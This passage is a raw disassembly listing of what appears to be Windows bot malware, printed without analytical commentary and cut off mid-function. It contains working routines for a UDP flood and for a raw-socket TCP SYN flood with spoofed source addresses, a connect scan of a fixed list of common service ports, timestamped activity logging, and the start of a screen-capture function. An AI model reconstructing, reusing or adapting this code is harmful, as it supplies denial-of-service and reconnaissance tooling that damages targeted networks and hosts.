		push	eax
		mov	word_4CE9CC, 1
		mov	word_4CE9CE, di
		mov	byte_4CE9D0, 80h
		mov	byte_4CE9D1, 11h
		mov	word_4CE9D2, di
		call	dword_4CB674	; inet_addr
		mov	dword_4CE9D4, eax
		mov	eax, [ebp+var_20]
		mov	dword_4CE9D8, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	word_4CE9E2, di
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jnz	short loc_41495D
		call	sub_41B8E2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_41496B
; ---------------------------------------------------------------------------


loc_41495D:				; CODE XREF: sub_414745+206j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax


loc_41496B:				; CODE XREF: sub_414745+216j
		call	dword_4CB634	; htons
		mov	word_4CE9DE, ax
		call	sub_41B8E2
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4CE9DC, dx
		call	dword_4CB634	; htons
		push	400h
		mov	word_4CE9E0, ax
		call	sub_41B8E2
		cdq
		idiv	ebx
		push	edx
		push	offset dword_4CE9E4
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4CE9C8
		push	[ebp+var_C]
		call	dword_4CB698	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_414A7B
		inc	[ebp+var_4]
		call	dword_4270A8	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41B779
		cmp	ebx, eax
		pop	ecx
		jbe	loc_414876


loc_414A02:				; CODE XREF: sub_414745+124j
		push	[ebp+var_C]
		call	dword_4CB6CC	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_41B779
		pop	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset unk_436678


loc_414A3D:				; CODE XREF: sub_414745+34Aj
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41B886
		add	esp, 18h


loc_414A4C:				; CODE XREF: sub_414745+39j
					; sub_414745+94j
		cmp	[ebp+arg_20C], edi
		jnz	short loc_414A74
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_414A74:				; CODE XREF: sub_414745+30Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_414A7B:				; CODE XREF: sub_414745+28Bj
		push	[ebp+var_4]
		push	esi
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset unk_4365EC
		jmp	short loc_414A3D
sub_414745	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A91	proc near		; DATA XREF: sub_401ACD+6361o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4CB674	; inet_addr
		push	eax
		call	sub_414C2E
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4367C8
		push	eax
		call	sub_41B886
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414B26
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409A72
		add	esp, 14h


loc_414B26:				; CODE XREF: sub_414A91+73j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4151AC
		push	[ebp+var_10]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_414A91	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B45	proc near		; CODE XREF: sub_414C2E+194p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427214	; connect
		jmp	loc_414C2A
; ---------------------------------------------------------------------------


loc_414B6E:				; CODE XREF: sub_414B45+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_4271F8	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB5DC	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4CB61C	; select
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: sub_414B45+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD


loc_414BD9:				; CODE XREF: sub_414B45+B8j
					; sub_414B45+DCj
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BDD:				; CODE XREF: sub_414B45+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_426756	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_414BD9


loc_414BFF:				; CODE XREF: sub_414B45+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4271E0	; getsockopt
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_414C2A:				; CODE XREF: sub_414B45+24j
					; sub_414B45+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_414B45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C2E	proc near		; CODE XREF: sub_414A91+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	eax
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], eax
		call	dword_427208	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4CEE58, eax
		call	dword_4CB614	; setsockopt
		mov	esi, dword_4270A8
		call	esi	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx


loc_414D74:				; CODE XREF: sub_414C2E+1C1j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, word ptr [ebp+eax+var_8C]
		push	eax
		call	dword_4CB634	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp+var_9A], ax
		call	dword_4CB6B4	; socket
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_C], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_414B45
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	dword_4CB6CC	; closesocket
		cmp	[ebp+var_8], ebx
		jnz	short loc_414DE7
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax


loc_414DE7:				; CODE XREF: sub_414C2E+1ABj
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_414D74
		mov	edi, offset dword_4CEE5C
		push	offset asc_42D0F4 ; " "
		push	edi
		call	sub_41B886
		pop	ecx
		pop	ecx
		call	esi	; GetTickCount
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax


loc_414E14:				; CODE XREF: sub_414C2E+23Cj
		call	esi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_414E6C
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_414E45
		push	eax
		push	edi
		push	offset aSD	; "%s%d	"
		push	edi
		mov	[ebp+var_10], eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_414E5F
; ---------------------------------------------------------------------------


loc_414E45:				; CODE XREF: sub_414C2E+200j
		push	0FFFFh
		push	ebx
		call	sub_418684
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB634	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax


loc_414E5F:				; CODE XREF: sub_414C2E+215j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 1Ch
		jl	short loc_414E14


loc_414E6C:				; CODE XREF: sub_414C2E+1F7j
					; sub_414C2E+477j
		push	28h
		push	ebx
		push	offset byte_4CEDF8
		call	sub_41B590
		mov	esi, 0FFFFh
		mov	byte_4CEDF8, 45h
		push	esi
		push	400h
		mov	byte_4CEE01, 6
		mov	byte_4CEDF9, 8
		call	sub_418684
		add	esp, 14h
		push	eax
		call	dword_4CB634	; htons
		push	28h
		mov	word_4CEDFC, ax
		call	dword_4CB634	; htons
		or	byte_4CEE00, 0FFh
		cmp	dword_4CEDE8, ebx
		mov	word_4CEDFA, ax
		mov	word_4CEDFE, bx
		jnz	short loc_414EEC
		push	0FFFEh
		push	1
		call	sub_418684
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_414EF7
; ---------------------------------------------------------------------------


loc_414EEC:				; CODE XREF: sub_414C2E+2A2j
		push	offset dword_4CE7C8
		call	dword_4CB674	; inet_addr


loc_414EF7:				; CODE XREF: sub_414C2E+2BCj
		mov	dword_4CEE04, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4CEE08, eax
		mov	byte_4CEE19, bl
		call	dword_4CB634	; htons
		push	esi
		push	ebx
		mov	word_4CEE1A, ax
		call	sub_418684
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_418684
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4CB630	; htonl
		mov	dword_4CEE10, eax
		mov	al, byte_4CEE18
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4CEE18, al
		mov	ax, word ptr [ebp+var_10]
		mov	dword_4CEE14, ebx
		mov	word_4CEE1E, bx
		mov	word_4CEE0E, ax
		mov	dword_4CEE34, edi
		mov	byte_4CEE38, bl
		mov	byte_4CEE39, 6
		call	dword_4CB634	; htons
		mov	word_4CEE3A, ax
		mov	ax, word_4CEE0E
		mov	word_4CEE20, 2
		mov	dword_4CEE24, edi
		mov	word_4CEE22, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_414FAD
; ---------------------------------------------------------------------------


loc_414FA8:				; CODE XREF: sub_414C2E+451j
		mov	esi, 0FFFFh


loc_414FAD:				; CODE XREF: sub_414C2E+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_414FE1
		push	esi
		push	ebx
		call	sub_418684
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB634	; htons
		mov	word_4CEE0C, ax
		mov	eax, dword_4CEE04
		mov	dword_4CEE30, eax
		mov	byte_4CEE19, 2
		mov	dword_4CEE14, ebx
		jmp	short loc_415000
; ---------------------------------------------------------------------------


loc_414FE1:				; CODE XREF: sub_414C2E+382j
		push	esi
		push	ebx
		mov	byte_4CEE19, 10h
		call	sub_418684
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB634	; htons
		movzx	eax, ax
		mov	dword_4CEE14, eax


loc_415000:				; CODE XREF: sub_414C2E+3B1j
		inc	word_4CEDFC
		inc	dword_4CEE10
		mov	ax, word_4CEE0E
		push	5
		pop	ecx
		mov	esi, offset word_4CEE0C
		mov	edi, offset dword_4CEE3C
		mov	word_4CEE02, bx
		mov	word_4CEE1C, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4CEDF8
		mov	word_4CEE22, ax
		push	esi
		call	sub_40AC68
		push	20h
		push	offset dword_4CEE30
		mov	word_4CEE02, ax
		call	sub_40AC68
		add	esp, 10h
		mov	word_4CEE1C, ax
		push	10h
		push	offset word_4CEE20
		push	ebx
		push	28h
		push	esi
		push	dword_4CEE58
		call	dword_4CB698	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_414FA8
		call	dword_4270A8	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_4150AA
		push	[ebp+arg_8]
		call	dword_427078	; Sleep
		jmp	loc_414E6C
; ---------------------------------------------------------------------------


loc_4150AA:				; CODE XREF: sub_414C2E+46Cj
		pop	edi
		pop	esi
		mov	eax, offset dword_4CEE5C
		pop	ebx
		leave
		retn
sub_414C2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D7F0
		mov	edi, 0B8h


loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E370
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------


loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D7F0[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D808[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_42949C
		pop	ebx


loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436810
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D7F0


loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_4367FC
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch


loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E370
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: sub_401221+384p
					; sub_401221+408p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_42712C	; GetLocalTime
		mov	ebx, offset dword_4D325C
		mov	edi, 80h
		mov	esi, offset dword_4CF25C


loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF25C
		xor	ecx, ecx


loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D325C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43685C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436848
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41528D	proc near		; DATA XREF: sub_401ACD+2887o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_43688C
		push	eax
		push	[ebp+var_11C]
		call	sub_409A72
		add	esp, 14h


loc_4152E0:				; CODE XREF: sub_41528D+33j
		cmp	[ebp+var_98], 0
		jz	short loc_415300
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415300
		mov	[ebp+var_8], eax


loc_415300:				; CODE XREF: sub_41528D+5Aj
					; sub_41528D+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_4CF25C


loc_415309:				; CODE XREF: sub_41528D+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	[ebp+var_98], 0
		jz	short loc_415338
		cmp	[ebp+var_4], 0
		jnz	short loc_415338
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352


loc_415338:				; CODE XREF: sub_41528D+90j
					; sub_41528D+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_409A72
		add	esp, 14h


loc_415352:				; CODE XREF: sub_41528D+87j
					; sub_41528D+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4D325C
		jl	short loc_415309


loc_415363:				; CODE XREF: sub_41528D+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_436870
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_409A72
		add	esp, 14h


loc_41539D:				; CODE XREF: sub_41528D+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_41528D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CB620	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CB63C	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CB63C	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CB63C	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CB63C	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------


loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx


loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CB680	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CB678	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CB504	; SelectObject
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
